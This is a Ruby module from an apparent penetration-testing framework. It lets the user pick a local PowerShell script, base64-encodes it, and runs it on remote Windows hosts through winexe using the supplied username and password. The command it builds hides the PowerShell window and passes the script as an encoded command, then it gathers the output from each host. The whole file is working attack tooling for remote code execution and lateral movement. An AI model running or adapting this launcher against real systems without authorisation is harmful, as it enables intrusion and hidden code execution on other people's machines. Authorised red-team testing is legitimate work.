require 'poet'
require 'base64'

class Exec_Powershell < Poet::Scanner
	self.mod_name = "Execute Powershell"
	self.description = "Execute arbitrary powershell on target(s). Non-interactive scripts only."
	self.invasive = true
  self.title = 'Powershell Launcher' 

	def setup
		ps_files = []
		Dir.foreach("#{APP_ROOT}/powershell") {|file| 
			if file[-4,4].eql? ".ps1"
				ps_files << file
			end
		}

		puts "Powershell folder empty, press #{highlight('control-c')} to quit" if ps_files.empty?

		# Print out powershell files
		i = 0
		while i < ps_files.length do
			puts "#{i+1}. #{ps_files[i]}"
			i +=1
		end
		# (Add in later)
		# puts "#{i+1}. Exit"
		puts
		to_load = ''

		# Make sure the user gives a valid selection
		until (1..ps_files.length+1).member?(to_load.to_i)
			print "Which powershell script do you wish to load?"
			to_load = rgets(" ")
		end

		# Return to previous menu
		# (Add in later)
		# return if to_load.to_i.eql? i+1

		@filename = ps_files[to_load.to_i - 1]

		# Read the file and encodeds
		@encoded_ps = File.read("#{APP_ROOT}/powershell/#{@filename}").to_ps_base64!
	
		@results = Hash.new
		puts
		puts color_header(title)
	end

	def run(username, password, host)
		ps_args = "cmd /c echo . | powershell  -noprofile -windowstyle hidden "
#		ps_args << "-ExecutionPolicy ByPass " 
		ps_args << "-noninteractive -EncodedCommand #{@encoded_ps}"
		result = winexe("//#{host}", ps_args)
		@results[host] = result
		print_good("#{host.ljust(15)} - Powershell command completed")
	end

	def finish
		puts "\nPowershell module completed"

		final_output = ''
		@results.each_pair do |key, value|
			final_output << "#{key}:\n#{value}\n\n"
		end
		write_file(final_output, "results_#{self.class}_#{@filename}_#{Time.now.strftime('%m-%d-%Y_%H-%M')}")
		puts "Output can be found in #{Menu.opts[:log]}/results_#{self.class}_#{@filename}_#{Time.now.strftime('%m-%d-%Y_%H-%M')}"
		
		# Return to menu
		puts
		print "Press enter to return to Exploitation Menu"
		gets
	end
end
